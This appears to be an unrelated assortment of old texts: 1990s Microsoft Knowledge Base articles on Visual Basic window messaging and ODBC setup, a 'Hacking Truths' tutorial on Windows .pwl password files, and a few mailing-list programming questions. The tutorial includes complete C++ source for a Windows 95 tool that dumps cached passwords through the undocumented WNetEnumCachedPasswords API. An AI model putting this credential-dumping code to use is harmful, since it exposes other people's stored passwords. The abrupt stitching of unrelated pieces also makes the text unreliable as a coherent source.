DOCUMENT:Q141024 06-SEP-1996 [vbwin]
TITLE :How to Start a Visual Basic Screen Saver Using SendMessage API
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbprg kbcode
------------------------------------------------------------------------
The information in this article applies to:
- Standard, Professional, and Enterprise Editions of Microsoft Visual
Basic, 16 and 32 bit, for Windows, version 4.0
------------------------------------------------------------------------
SUMMARY
=======
The sample code below shows how to start a Visual Basic screen saver
by sending a Windows message to the Control-menu box on a form.
MORE INFORMATION
================
Microsoft Windows starts screen savers through the System-menu box on
a form. The System-menu box is also known as the Control-menu box in
Visual Basic. You can send Windows messages to the Control-menu box
by using the SendMessage Windows API (application programming
interface) function.
[general declarations]
#If Win32 Then
Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, _ ByVal wParam
As Long, ByVal lParam As Long) As Long
Const WM_SYSCOMMAND = &H112&
Const SC_SCREENSAVE = &HF140&
#Else
Private Declare Function SendMessage Lib "User" (ByVal _ hWnd
As Integer, ByVal wMsg As Integer, ByVal wParam As _ Integer,
lParam As Any) As Long
Const WM_SYSCOMMAND = &H112
Const SC_SCREENSAVE = &HF140&
#End If
Private Sub Command1_Click()
Dim result As Long
result = SendMessage(Form1.hWnd, WM_SYSCOMMAND, _
SC_SCREENSAVE, 0&)
End Sub
REFERENCES
==========
You can find two sample programs and a complete explanation showing how to
write your own screen savers in Visual Basic in the following book:
"Visual Basic Workshop 3.0" by John C. Craig, published by Microsoft Press.
Additional reference words: 3.00 4.00 vb4win vb4all .SCR TOPMOST
SETWINDOWPOS SCRNSAVE timer
KBCategory: kbprg kbcode
KBSubcategory: PrgCtrlsStd
============================================================================
=
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.
Copyright Microsoft Corporation 1996.
DOCUMENT:Q142817 22-JAN-1996 [vbwin]
TITLE :How to Kill an Application with System Menu Using Visual Basic
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbprg kbcode kbhowto
---------------------------------------------------------------------
The information in this article applies to:
- Professional and Enterprise Editions of Microsoft Visual Basic,
16-bit only, for Windows, version 4.0
--------------------------------------------------------------------
SUMMARY
=======
Microsoft Visual Basic for Windows can use the Microsoft Windows API
SendMessage function to close any active window that has a system menu
(referred to as the Control Box within Visual Basic for Windows) with the
Close option.
MORE INFORMATION
================
You can use the Windows API SendMessage function to post a message to any
window in the environment as long as the handle to the window is known. You
can use the API FindWindow function to determine the handle associated with
the window the user wants to close.
Query on the following words in the Microsoft Knowledge Base for more
information on the FindWindow function:
FindWindow and Visual Basic
To create a program to close an occurrence of the Microsoft Windows version
3.0 Calculator program, do the following:
1. Create a form called Form1.
2. Create two command buttons called Command1 and Command2.
3. Within the Command1 Click event, add the following code:
Private Sub Command1_Click()
X% = Shell("Calc.exe")
End Sub
4. Within the Command2 Click event, add the following code:
Private Sub Command2_Click()
Const NILL = 0&
Const WM_SYSCOMMAND = &H112
Const SC_CLOSE = &HF060
lpClassName$ = "SciCalc"
lpCaption$ = "Calculator"
'* Determine the handle to the Calculator window.
Handle = FindWindow(lpClassName$, lpCaption$)
'* Post a message to Calc to end its existence.
X& = SendMessage(Handle, WM_SYSCOMMAND, SC_CLOSE, NILL)
End Sub
5. In the Declarations section, declare the following two API functions:
' Enter each of the following Declare statements on one, single line:
Private Declare Function FindWindow% Lib "user" _
(ByVal lpClassName As Any, ByVal lpCaption As Any)
Private Declare Function SendMessage& Lib "user" _
(ByVal hwnd%, ByVal wMsg%, ByVal wParam%, ByVal lParam As Long)
6. Run the program. Click the Command1 button to bring up an instance of
the Calculator program. Click the Command2 button to close the window.
Additional reference words: 1.00 2.00 3.00 4.00 vb4win vb416
KBCategory: kbprg kbcode kbhowto
KBSubcategory: APrgOther
============================================================================
=
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.
Copyright Microsoft Corporation 1996.
DOCUMENT:Q110701 21-JUN-1995 [vbwin]
TITLE :How to Get a Handle to MS-DOS Application and Change Title
PRODUCT :Microsoft Visual Basic for Windows
PROD/VER:3.00
OPER/SYS:WINDOWS
KEYWORDS:kbprg kbcode
---------------------------------------------------------------------
The information in this article applies to:
- Standard and Professional Editions of Microsoft Visual Basic for
Windows, version 3.0
---------------------------------------------------------------------
SUMMARY
=======
This article shows by example how to get the handle to a MS-DOS
application, and then use that handle to change the MS-DOS Window title or
automatically unload the MS-DOS Window from Visual Basic.
MORE INFORMATION
================
Step-by-Step Example
--------------------
1. Start a new project in Visual Basic. Form1 is created by default.
2. Add two command buttons (Command1 and Command2) to Form1.
3. Enter the following code in the General Declarations of a form or
module:
' Enter each of the following Declare statements on one, single line:
Declare Function PostMessage Lib "User"
(ByVal hWnd As Integer, ByVal wMsg As Integer,
ByVal wParam As Integer, lParam As Any) As Integer
Declare Sub SetWindowText Lib "User"
(ByVal hWnd As Integer, ByVal lpString As String)
Declare Function GetActiveWindow Lib "User" () As Integer
Dim MhWnd as Integer
Const WM_CLOSE = &H10
4. Enter the following code in the Click Event of Command1:
Sub Command1_Click()
Dim X as Integer
X = Shell("c:\windows\dosprmpt.pif", 1) ' Open an MS-DOS Window
For X = 0 To 100
DoEvents
' a bunch of DOEVENTS to wait for the MS-DOS Window to open.
Next X
' Get the handle when the MS-DOS Window has the focus:
Mhwnd = GetActiveWindow()
' Now pass the handle to the window with a new title:
Call SetWindowText(Mhwnd, "My Application!")
End Sub
5. Place the following code in the Click Event of Command2:
Sub Command2_Click()
Dim X as Integer
' Note: In order for this to work on a MS-DOS Window, you have
' to have a PIF setup that will allow an MS-DOS Window to be closed.
' In the PIF editor, select "Advanced", then click "Close When
' Active". This allows MS-DOS applications to be closed
' programatically
X = PostMessage(MhWnd, WM_CLOSE, 0, 0) ' Return greater than zero
' if successful.
If X = 0 Then
MsgBox "Application did not close!"
End If
End Sub
6. Start the program, or press the F5 key.
7. Click the Command1 button to see the title change.
Additional reference words: 2.00 3.00
KBCategory: kbprg kbcode
KBSubcategory: PrgOther
============================================================================
=
THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.
Copyright Microsoft Corporation 1995.
HOWTO: Set Up ODBC Data Sources When Distributing Apps
----------------------------------------------------------------------------
----
The information in this article applies to:
Microsoft Visual Basic Professional Edition, 16-bit, for Windows, version
4.0
Microsoft Visual Basic Professional Edition, 32-bit, for Windows, version
4.0
Microsoft Visual Basic Enterprise Edition, 16-bit, for Windows, version 4.0
Microsoft Visual Basic Enterprise Edition, 32-bit, for Windows, version 4.0
Microsoft Visual Basic Professional Edition for Windows, version 3.0
----------------------------------------------------------------------------
----
SUMMARY
This article discusses the following four methods for setting up an ODBC
data source on a computer:
ODBC Setup
RegisterDatabase
ODBC API
Blind Copy of INI files
MORE INFORMATION
Required Files
The following files must be distributed with your application if you use
ODBC. When using the Setup Wizard to create distribution disks, ensure that
the necessary files are included in the file list. All of the files listed
should be installed in the \WINDOWS\SYSTEM directory.
Optional files (SQL Server or Oracle) are denoted with an asterisk (*).
File Description
----------------------------------------------------------------------
ODBC.DLL The ODBC Driver Manager. This DLL is called by the
Microsoft Jet database engine when performing ODBC
operations. The Driver Manager handles loading the
correct ODBC driver and dispatching ODBC function
calls to the driver.
ODBCINST.DLL The ODBC Driver Installation library. This DLL
contains Driver installation specific functions.
The ODBC Administrator (ODBCADM.EXE) calls functions
exported from this DLL when installing ODBC
drivers. You may also call functions in this DLL
to automate driver installation.
ODBCADM.EXE The ODBC Administrator program. This program
allows a user to install ODBC drivers and
set up or modify Data Sources.
ODBCINST.HLP The ODBC Administrator help file.
COMMDLG.DLL The Common Dialog DLL. This DLL is used by the
ODBC Administrator program.
CTL3D.DLL The 3D Control DLL. This DLL is used by the ODBC
Administrator program. If you are using ODBC.DLL
version 1.05 or greater, you need to distribute
CTL3DV2.DLL.
PDSODBC.DLL Crystal Reports Physical Server DLL for ODBC. This
DLL is required only if your application uses Crystal
Reports to access an ODBC data source.
<driver>.DLL The ODBC driver(s) that the application will use
to connect to specific Data Sources.
SQL Server: SQLSRVR.DLL*
Oracle 6: SQORA.DLL*
<netlib>.DLL The network library file(s). This file is used
to access the Data Source when using a specific
network protocol.
Named Pipes: DBNMP3.DLL*
TCP/IP (Sybase SQL Server): WDBNOVTC.DLL*
IPX/SPX (Sybase SQL Server): WDBNOVSP.DLL*
SQL*Net Interface: ORA6WIN.DLL*
INSTCAT.SQL* SQL Server Catalog Stored Procedures script.
DRVSSRVR.HLP* SQL Server ODBC Driver help file.
ORASETUP.DLL* Oracle ODBC Driver setup functions.
DRVORACL.HLP* Oracle ODBC Driver help file.
ORACLE.TXT* Oracle ODBC Setup "read me" file.
ODBC.INI Initialization file containing information
about specific Data Sources. The DSN parameter
in the Connect property of the data control or
the OpenDatabase statement corresponds to an
entry in the ODBC.INI. This file must also be
created or modified on the client computer.
ODBCINST.INI The Initialization file that contains
information about installed ODBC drivers. The
RegisterDatabase statement and ODBC Administrator
use the information contained in this file to
set up Data Sources. Entries in ODBCINST.INI
are created either by running an ODBC driver
setup or through the ODBC API. This file must
also be either created or modified on the client
computer.
Four Methods to Get DSN information into ODBC.INI and ODBCINST.INI
The .INI files store information about the ODBC driver(s) and the ODBC Data
Sources. As a result, they are variable -- a user's may already have them
installed in the \WINDOWS directory. If a developer were to blindly copy
ODBC.INI and ODBCINST.INI onto the user's computer, the new files may
overwrite existing Data Sources.
Below are four methods you can use to get DSN information into the user's
ODBC.INI and ODBCINST.INI files.
ODBC Setup
To install an ODBC Driver and establish an ODBC Data Source, the Visual
Basic online Help documentation recommends that you copy the entire contents
of the \VB\ODBC directory to an additional distribution disk.
As a developer, you can specify that the disk be inserted and SETUP.EXE run
from the floppy disk. In addition, you can prompt the user to insert the
ODBC floppy disk, and then use the Visual Basic Shell command to shell out
to SETUP.EXE.
The Setup Wizard copies and modifies SETUP1.MAK into SETUP1A.MAK during the
process of creating distribution disks. It builds SETUP1A.MAK into
SETUP1.EXE, compresses it, and copies it to the distribution disks. When
SETUP.EXE is executed on the distribution disks, the files in SETUP.LST are
copied to the destination computer. SETUP1.EX_ is then uncompressed and
executed to start copying files from the floppy disks to the destination
computer.
It is possible to then modify SETUP1A.MAK, rebuild SETUP1.EXE, compress it,
and copy it to the distribution disks. To ensure that the compressed file
size will fit on the first distribution disk, you must pad the project with
code prior to first executing the Setup Wizard. Then you can change the code
into comments and add new code to prompt for the ODBC Setup disk. The
resulting EXE size will then still fit on the first distribution floppy
disk.
Modify SETUP1.FRM in the \VB\SETUPKIT\SETUP1 directory to add the necessary
code to pad the executable. This file is copied into SETUP1A.MAK during the
Setup Wizard's execution.
NOTE: Microsoft Technical Support does not support the modification of the
Setup process or any of the setup files. Support is provided for the Setup
Wizard and the files it creates on an "as is" basis only.
Here are the steps to follow:
Start Visual Basic and from the File menu, choose Open Project. Open
SETUP1.MAK in the \VB\SETUPKIT\SETUP directory.
Select SETUP1.FRM from the project window. Press F7 to view the code.
At the end of the Form_Load procedure add the following code in the ExitSub:
label part, after RestoreProgMan and before the End statement:
Dim tmpK As String
Dim tmpS As String
Dim I As Long
tmpK = "dummy"
For I = 1 To 1000
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
tmpS = Mid$(tmpK, 1, 2)
Next I
Save the project (ALT, F, V).
Run the Setup Wizard, and create the distribution disks.
Once the disks have been created, you need to go back into Visual Basic,
edit SETUP1A.MAK, and add the appropriate code to prompt for the ODBC Setup
And Installation Disk. Follow these steps:
Start Visual Basic.
Open the SETUP1A.MAK project in \VB\SETUPKIT\SETUP1 (ALT, F, O).
Choose SETUP1A.FRM and press F7 to view the code.
In the Form_Load procedure, place an apostrophe in front of each line of the
dummy code that was previously inserted as a place holder:
'Dim tmpK As String
'Dim tmpS As String
'Dim I As Long
'tmpK = "dummy"
'For I = 1 To 1000
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
' tmpS = Mid$(tmpK, 1, 2)
'Next I
Add the following code within the Form_Load procedure immediately following
the commented code:
x% = MsgBox("Do you want to install the ODBC Drivers?", 36,
App.title)
If x% = 6 Then
If Not PromptForNextDisk(2, SourcePath$ + "ODBCADM.EX_") Then
GoTo ErrorSetup
End If
x% = Shell(SourcePath$ & "setup.exe")
End If
Change the disk number to 1 greater than the total number of distribution
disks created. The disk number is the first parameter to the
PromptForNextDisk procedure. In this example, the next disk to prompt for is
2.
Save the SETUP1A.MAK project and create the executable as SETUP1.EXE in the
\VB\SETUPKIT\SETUP1 directory (ALT, F, K).
Shell out to an MS-DOS command prompt and change the directory to
\VB\SETUPKIT\SETUP1. Execute the following at the command prompt:
\VB\SETUPKIT\KITFILES\COMPRESS -r SETUP1.EXE
Place the first distribution floppy disk in the appropriate drive and copy
SETUP1.EX_ to the floppy disk:
copy SETUP1.EX_ A:\SETUP1.EX_
Now, when your distribution disks are run, the final step will be to prompt
for the ODBC Setup and Installation disk. SETUP.EXE will be executed from
this disk and the user can then install the appropriate ODBC driver and
create the necessary Data Source. You should include instructions for this
process.
For more information on modifying SETUP1.EXE please refer to Chapter 25,
"Distributing Your Application" in the Microsoft Visual Basic Programmer's
Guide.
RegisterDatabase
Visual Basic provides the RegisterDatabase statement to help in installing
ODBC data sources, not drivers. The RegisterDatabase statement assumes that
ODBCINST.INI and ODBCINST.DLL already exist on the computer. That is, the
drivers must be installed before running RegisterDatabase. If so, the
developer can use RegisterDatabase to add or update an entry in the
ODBC.INI.
The problem with this method is that if the client computer does not have
ODBC installed on the computer, the ODBCINST.INI and DLL will not exist.
Also, if the ODBC driver is new to the computer, there will not be an entry
for it in ODBCINST.INI, so RegisterDatabase will fail then as well.
The following description, syntax, remarks, and example about the
RegisterDatabase statement come from the Visual Basic online Help:
Description:
Makes connect information for an ODBC data source name available for use by
the OpenDatabase function.
Syntax:
RegisterDatabase dsn, driver, silent, attributes
Remarks:
The RegisterDatabase statement has the following parts:
DSN: A string expression that is a name used in the OpenDatabase function
and refers a block of descriptive information about the data source. For
example, if the data source is an ODBC remote database, it would be the name
of the server.
DRIVER: A string expression that is the name of the ODBC driver. This is not
the name of the ODBC driver DLL file. For example, "SQL Server" or "Oracle"
are driver name but "SQLSRVR.DLL" is the name of a DLL file. You must have
ODBC and the appropriate driver already installed.
SILENT: A numeric expression that is True if you do not want to display the
ODBC driver dialogs that prompt for driver-specific information, or False if
you do want to display the ODBC driver dialogs. If silent is True, then
attributes must contain all the necessary driver-specific information or the
dialog will appear anyway.
ATTRIBUTES: String expression that is a list of keywords to be added to the
ODBC.INI file. The keywords are in a carriage-return delimited string.
Example:
Sub Command1_Click ()
Dim att As String
Dim mydb As Database
att = "Description = SQL Server on server Texas" & Chr$(13)
att = att & "OemToAnsi=No" & Chr$(13) ' Build keywords string.
att = att & "Server=TEXAS" & Chr$(13)
att = att & "Network=DBNMP3" & Chr$(13)
att = att & "Address=\\TEXAS\PIPE\SQL\QUERY" & Chr$(13)
att = att & "Database=Pubs" & Chr$(13)
att = att & "LastUser=Stimpy"
' Update ODBC.INI.
RegisterDatabase "Texas", "SQL Server", True, att
Set mydb = OpenDatabase("Texas", False, False, "ODBC;")
mydb.Close
End Sub
If the database is already registered in the ODBC.INI file, the entry is
updated. If RegisterDatabase fails for any reason, no changes are made to
the ODBC.INI file and an error occurs.
ODBC API
This is probably the most flexible and most efficient method, but most
developers are not familiar with it and do not have the ODBC SDK that
documents the API. Developers should get the Microsoft Software Development
Kit (SDK) and get the "Microsoft ODBC 2.0 Programmer's Reference and SDK
Guide" from Microsoft Press.
Copy INI
If the developer is certain that an ODBC.INI and ODBCINST.INI do not exist
on the installation computer, they can simply copy the files. However, the
developer must ensure that the paths to the drivers are correct; paths are
fully qualified within the .INI files. For example, the ODBC.INI file will
specify C:\WINDOWS\SYSTEM\SQLSRVR.DLL as the driver for SQL Server, so if
the user's Windows setup is in \WIN31, the path won't work.
Additional query words: 3.00 4.00
Keywords : kbDatabase kbODBC kbVBp400
Issue type : kbhowto
Technology : kbVBSearch kbAudDeveloper kbPTNotAssigned kbExchange400
kbZNotKeyword2 kbVB400Search kbVB16bitSearch kbVFP300
Windows Password Files Torn Apart
By Ankit Fadia
All, Windows, users would probably be familiar with the infamous 'pwl' files
or the files where the Windows login passwords are stored. Well, this manual
is aimed at, simplifying how the authentication works when you type in your
User name And password, what exactly .pwl files contain, where exactly they
come into the picture and a whole lot of related things.
The *.pwl files are basically files in which the Windows Login Passwords are
stored in. These files can be found in the \Windows directory by the name of
the User, whose password it contains. For Example, if your Windows login
Username is ankit, then the corresponding password would be stored in
c:\windows\ankit.pwl Get it? These .pwl files are readable in any text
editor like Notepad, but they are definitely not understandable. A typical
example, of the contents of a .pwl file is as follows:
у,...-
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџ
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџ
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџR
p u.аX+|rаq"Б/2Г ЪхЁhCJ,D з `ЭYЅ!эx}(qWЄуЦБ<!?рм6sс~єц4+\3/4ѕ+%EАЫд§mЧд
оIЛ, B рзoја...'@
This is definitely not something; a normal person can comprehend or make
sense of.
Now, besides the Windows registry, Microsoft's policy of security by
obscurity can also be seen in the case of what .pwl files. Although the
original usage of .pwl files was a standard to be used, by all applications,
Microsoft simply does not officially provide any type of information on the
standards of .pwl files.
To get a list of .pwl files in your system or in other words to find out
which all passwords using the .pwl technology (What a good friend of mine
likes to call them) are being stored on a particular system, then simply
open c:\windows\system.ini in a plaintext editor like Notepad and look under
the [Password Lists] section. A typical line from this section would be in
the following format: USERNAME=Path_of_pwl_file
For Example,
[Password Lists]
ankit=c:\windows\ankit.pwl
This tells us that the .pwl containing the password for the Username 'ankit'
is stored at: c:\windows\ankit.pwl
Anyway, the algorithm which is used in the case of storing information in
the .pwl files (rather in the .pwl security option), refers to such files as
databases, with each record consisting of three fields-:
Resource name
Resource password
Resource type (0..255)
Before, I move onto giving details about the above three fields, let us
discuss, how exactly the User Authentication process takes place in Windows
(In the case of the login password.)
NOTE: The below process is what happens in the case of the Windows login
password.
When you first set a new account on Windows, it derives an encryption key
from the specified password and creates c:\windows\username.pwl file, where
username is the, well, quite obvious. One, thing to note here is that the
.pwl file does not, I repeat does not store the login password, nor does it
store the Username.(Although its name is same as the Username for whose
authentication it is used.) What it stores, will become clearer once you
read the below paragraph.
Now, the next time, you boot your system and type in your Username and
password, then Windows,
decrypts the .pwl corresponding to the Username provided, using the
decrypting key obtained from the password provided. Once, the .pwl file has
been decrypted using the decryption key obtained from the provided password,
Windows, verifies the checksum. If the checksum is correct or matches, then
the user is authenticated else, try again. In the process of checksum
verification, the username provided plays an important role.
Both the Username and Checksum are encrypted using a simple algorithm: RC4.
*****************************
HACKING TRUTH: Although, almost always, the name of the .pwl file is same as
the Username, sometimes the name does differ. For Example, if, I use 2 to 3
different applications using .pwl security and then use the same username
i.e. ankit in all of them to store passwords, then the naming of the .pwl
files would be as follows:
The first .pwl would be named: ankit.pwl, the second would be named:
ankit000.pwl , the third would be: ankit001.pwl and so on.
And, I am not too sure, but from what I gather, Windows never ever
overwrites a .pwl file.
******************************
Coming, back to the fields. Both the resource name and resource password
fields can be binary or simply encrypted and they are interchangeable by the
application involved. The Resource Type field can have different numerical
values depending upon the software involved. For Example, DUN, Dial Up
Server and Windows Login, uses 6 as the value for the Resource Type field.
While, Internet Explorer uses 19 as the value of the same field.
One thing to note about Windows Login password algorithms is that, the first
time it was introduced, the algorithm was very very weak and allowed
passwords to be easily decrypted. However, with each new release, the
algorithms used have been improving. However, it still has not reached a
reliable level.
In the algorithms used by various Operating Systems to encrypt their login
passwords, the algorithm used by Windows is the worst. Some common defects
are-:
The cipher algorithms involved are relatively lame. i.e. RC4 and MD5. They
can easily be broken. Refer to: http://hackingtruths.box.sk\algorithms.htm
for more info on various Encryption algorithms.
All passwords are converted to uppercase
Un-acceptably lame or weak method of storage.
Various Holes existing in the Password Caching Facility. The following
Visual C++ program demonstrates further as to how this vulnerability can be
exploited.
/*
(c) 1997, 98 Vitas Ramanchauskas
Use Visual C++ to compile this into win32 console app.
This code provided for educational purpose only.
!! NO WARRANTY, NO SUPPORT !!
*/
#include <windows.h>
#include <stdio.h>
typedef struct tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword; // size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; // type of entry
BYTE abResource[1]; // start of resource name
// password immediately follows resource name
} PASSWORD_CACHE_ENTRY;
char *buf, *ob1;
int cnt = 0;
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x, DWORD)
{
cnt++;
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1); // for non-English users
printf("%-30s : ", ob1);
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);
return TRUE;
}
void main()
{
buf = new char[1024];
ob1 = new char[1024];
puts("There is no security in this crazy world!\n"
"Win95 PWL viewer v1.01 (c) 1997, 98 Vitas Ramanchauskas\n"
"************\n"
"!DISCLAIMER!\n"
"!This program intended to be used for legal purpose only!\n"
"************\n\n"
"This program shows cached passwords using standard (but undocumented)\n"
"Windows API on local machine for current user (user must be logged in).\n"
"You may invoke pwlview in this way: pwlview >> textfile.txt\n"
"to save passwords in file (don't forget to press enter twice)\n"
"Press Enter to begin...\n");
getchar();
HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll. This program is for Windows 95 only");
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function. This program is for Windows 95 only");
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n"
"Probably password caching was not used or user is not logged in.");
FreeLibrary(hi);
puts("\nPress Enter to quit");
getchar();
}
Well, that is all friends, this is Ankit Fadia, signing off until the next
Hacking Truths Manual. Bye.
Ankit Fadia,
ankit@...http://hackingtruths.box.sk/
I'm currently working on a simulated life 2D rendering project (Yes I've talked about this before), and I need help.
I have the program set up to create and to load the creatures. Now, I need a way to set up the environment in which they live. I want it to be visual (so I can see what's happening), and I also want it to be realistic. 2D entities see in 1D, so I need a way to identify a circle, square, triangle, and other objects from the side.
If you want to take a crack at it, the source is at www.crew868.org/temp/tdprog.txt.
I am still working on my 2D life simulation, but I need ideas.
I can program everything but the movement, and the visuals (both theirs and the users).
Here's what I need:
A movement engine (2D) for circles, squares, and triangles.
A visual engine for the user to watch interactions.
An engine that allows the creatures to "see" one another and "identify" shapes (2D) from the side (in their universe, surfaces would look 1D, but they need to be able to identify 2D shapes WITHOUT external help. They can't veiw the objects straight on.
Any help would be appreciated. I'll tell you how it goes.
Dear Sukma,
There is a Free ActiveX control for VB 5 and VB 6 for recording from Camera,
but I dont remember the url. I think you should use search engines to find
this control. but if I find the url, I'll inform you.
Best Wishes,
Farzad Badili (FDB)
mailto:fdb@...
mailto:farzadbadili@...http://www.fdb.ipfox.com/http://www.bigfoot.com/~fdb/
ICQ:47010001
********** Share If You Know, Learn If You Don't. Knowledge Is Power.
**********
----- Original Message -----
From: "Sukma Cahyono" <sukma_tc@...>
To: <fdb@yahoogroups.com>
Sent: Tuesday, March 06, 2001 9:03 AM
Subject: [FDB-LIST] Camera Programming
> Hello Everybody
>
> I'm a new learner in Programming
>
> Related with my final test, I'd like to know how to
> make a program using camera as a media to take someone
> picture directly after snapshot process and save it to
> the file or table (database)
> with Visual Basic 6 or Visual FoxPro 6?
>
> What Is the requirements Hardware Spesification to do
> this? And do I have to add some new software to
> support my VB 6.0 and VFP 6.0 Accessibility to do this
> Camera
> Programming?
> Is there any special camera for PC to support this
> Programming ?
>
> I hope all of your kindness and information sharing to
> solve my problem. Thanks before...
>
> Sincerely Yours,
> Sukma Tri Cahyono
>
> sukma_tc@...
> es_tee_cee@...
>
> __________________________________________________
>
> __________________________________________________
> Do You Yahoo!?
> Get email at your own domain with Yahoo! Mail.
> http://personal.mail.yahoo.com/
>
>
> To Unsubscribe via e-mail, Send an e-mail to:
>
> fdb-unsubscribe@...
>
>
>
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
>
Hello Everybody
I'm a new learner in Programming
Related with my final test, I'd like to know how to
make a program using camera as a media to take someone
picture directly after snapshot process and save it to
the file or table (database)
with Visual Basic 6 or Visual FoxPro 6?
What Is the requirements Hardware Spesification to do
this? And do I have to add some new software to
support my VB 6.0 and VFP 6.0 Accessibility to do this
Camera
Programming?
Is there any special camera for PC to support this
Programming ?
I hope all of your kindness and information sharing to
solve my problem. Thanks before...
Sincerely Yours,
Sukma Tri Cahyono
sukma_tc@...es_tee_cee@...
__________________________________________________
__________________________________________________
Do You Yahoo!?
Get email at your own domain with Yahoo! Mail.
http://personal.mail.yahoo.com/
